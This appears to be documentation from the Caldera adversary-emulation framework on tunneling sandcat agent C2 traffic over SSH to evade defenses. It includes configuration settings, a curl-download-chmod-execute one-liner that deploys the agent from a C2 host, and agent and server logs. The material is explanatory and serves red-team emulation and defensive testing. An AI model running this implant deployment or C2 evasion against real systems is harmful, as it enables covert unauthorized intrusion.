C2 Communications Tunneling
In addition to built-in contact methods such as HTTP, DNS, TCP, and UDP, Caldera also provides support for tunneling C2 traffic, which supporting agents can use to mask built-in contact methods for added defense evasion. Currently, the only available tunneling method is SSH tunneling, which is only supported by the sandcat agent.
Sandcat agents can use SSH tunneling to tunnel C2 contact mechanisms, namely HTTP(S). Caldera also provides built-in support to spin up a minimal local SSH server for SSH tunneling.
Usage - Serverside
Within the Caldera configuration file, adjust the following entries according to your environment:
app.contact.tunnel.ssh.host_key_file: File name for the server’s SSH private host key. You can generate your own SSH private host key for the Caldera server. The file must reside in the
conf/ssh_keysdirectory. If the Caldera server cannot find or read the provided private host key, it will generate a temporary RSA host key to use for operations. Although this would cause security warnings under normal circumstances, the sandcat agent implementation of SSH tunneling does not attempt to verify hosts, and thus should not be affected by changing or temporary host keys.
app.contact.tunnel.ssh.host_key_passphrase: Passphrase for the server’s SSH private host key. The server will use this passphrase to read the private host key file provided in
app.contact.tunnel.ssh.socket: Indicates the IP address and port that the Caldera server will listen on for SSH tunneling connections (e.g.
app.contact.tunnel.ssh.user_name: User name that agents will use to authenticate to the Caldera server via SSH. The default value is
app.contact.tunnel.ssh.user_password: Password that agents will use to authenticate to the Caldera server via SSH. The default value is
Once the configuration entries are set, simply start the Caldera server up as normal via the
server.py Python program, and Caldera will automatically attempt to start an SSH server that listens on the specified socket (
The contact will first attempt to read in the host private key file specified by
app.contact.tunnel.ssh.host_key_file, using the passphrase specified by
app.contact.tunnel.ssh.host_key_passphrase. If it cannot read the file for whatever reason (e.g. file does not exist, or the passphrase is incorrect), then the server will generate its own temporary private key to use for the server.
The SSH server should only be used between agents and the C2 server and should not be used to SSH into the Caldera server manually (e.g. to manage the server remotely).
Usage - Agent
The sandcat agent is currently the only agent that supports SSH tunneling. To use it, the
tunnelPassword arguments must be used.
servervalue is the Caldera server endpoint that the tunnel will connect to - if the agent is tunneling HTTP communications through SSH, then
servershould be the HTTP socket for the Caldera C2 server (e.g.
tunnelProtocolvalue is the name of the tunneling mechanism that the agent is using. For SSH, the value must be
tunnelAddris the port number or IP:port combination that indicates which port or socket to connect to via SSH to start the tunnel (e.g.
10.10.10.15:8022). If only a port number is provided, the agent will try to connect to the IP address from
serverusing the specified port. The server listening on the port/socket should be listening for SSH connections from agents.
tunnelUserindicates which username to use to authenticate to
tunnelAddrvia SSH. This username should match the Caldera configuration value for
tunnelPasswordindicates which password to use to authenticate to
tunnelAddrvia SSH. This password should match the Caldera configuration value for
To tunnel different contacts through SSH tunneling, simply adjust the
server values as needed.
When authenticating to the provided SSH server, the sandcat agent will use the username/password provided by the
tunnelPassword arguments. Whatever credentials the agent uses must reflect the Caldera configuration values specified in
app.contact.tunnel.ssh.user_password. The agent will then open a random local port to act as the local endpoint of the SSH tunnel. This local endpoint becomes the
upstream_dest value for the agent.
The following commandline will start a sandcat agent that will open up an SSH tunnel to the Caldera c2 server at
192.168.140.1:8022, and the tunneled communications will be sent to the c2 server’s HTTP endpoint at
server="http://192.168.140.1:8888"; curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.go; chmod +x sandcat.go; ./sandcat.go -server $server -v -tunnelProtocol SSH -tunnelAddr 8022 -tunnelUser sandcat -tunnelPassword s4ndc4t!
The above Linux agent will produce verbose output similar to the following:
SStarting sandcat in verbose mode. [*] Starting SSH tunnel Starting local tunnel endpoint at localhost:52649 Setting server tunnel endpoint at 192.168.140.1:8022 Setting remote endpoint at localhost:8888 [*] Listening on local SSH tunnel endpoint [*] SSH tunnel ready and listening on http://localhost:52649. [*] Attempting to set channel HTTP Beacon API=/beacon [*] Set communication channel to HTTP initial delay=0 server=http://192.168.140.1:8888 upstream dest addr=http://localhost:52649 group=red privilege=User allow local p2p receivers=false beacon channel=HTTP Local tunnel endpoint=http://localhost:52649 [*] Accepted connection on local SSH tunnel endpoint [*] Listening on local SSH tunnel endpoint [*] Forwarding connection to server [*] Opened remote connection through tunnel [+] Beacon (HTTP): ALIVE
The agent connected to the C2 server via SSH at
192.168.140.1:8022 and opened a local SSH tunnel on local port 52649 that tunnels HTTP traffic to the C2 server at
192.168.140.1:8888. This is the equivalent of running
ssh -L 52649:localhost:8888 email@example.com -p 8022 -N.
Note that the agent’s upstream destination endpoint is set to the local SSH tunnel endpoint at
http://localhost:54351 (the protocol is set to
http since the agent is tunneling HTTP comms), while the true server value is the final tunnel destination at
If running the Caldera c2 server with logging verbosity set to
DEBUG, you may see output similar to the following when an agent connects via SSH tunneling:
2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Accepted SSH connection on 192.168.140.1, port 8022 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Client address: 192.168.140.100, port 43796 2021-03-26 09:12:43 - DEBUG (contact_ssh.py:52 connection_made) SSH connection received from 192.168.140.100. 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Requesting key exchange 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Received key exchange request 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Beginning key exchange 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Completed key exchange 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Beginning auth for user sandcat 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Trying password auth 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Auth for user sandcat succeeded 2021-03-26 09:12:43 - DEBUG (contact_ssh.py:48 connection_requested) Connection request from 0.0.0.0:0d to localhost:8888 2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2, chan=0] Set write buffer limits: low-water=16384, high-water=65536 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Accepted direct TCP connection request to localhost, port 8888 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Client address: 0.0.0.0 2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Forwarding TCP connection to localhost, port 8888 2021-03-26 09:12:43 - DEBUG (contact_svc.py:64 handle_heartbeat) First time HTTP beacon from kliuok
Once the tunnel is established, operators can proceed as normal with agent activity and operations.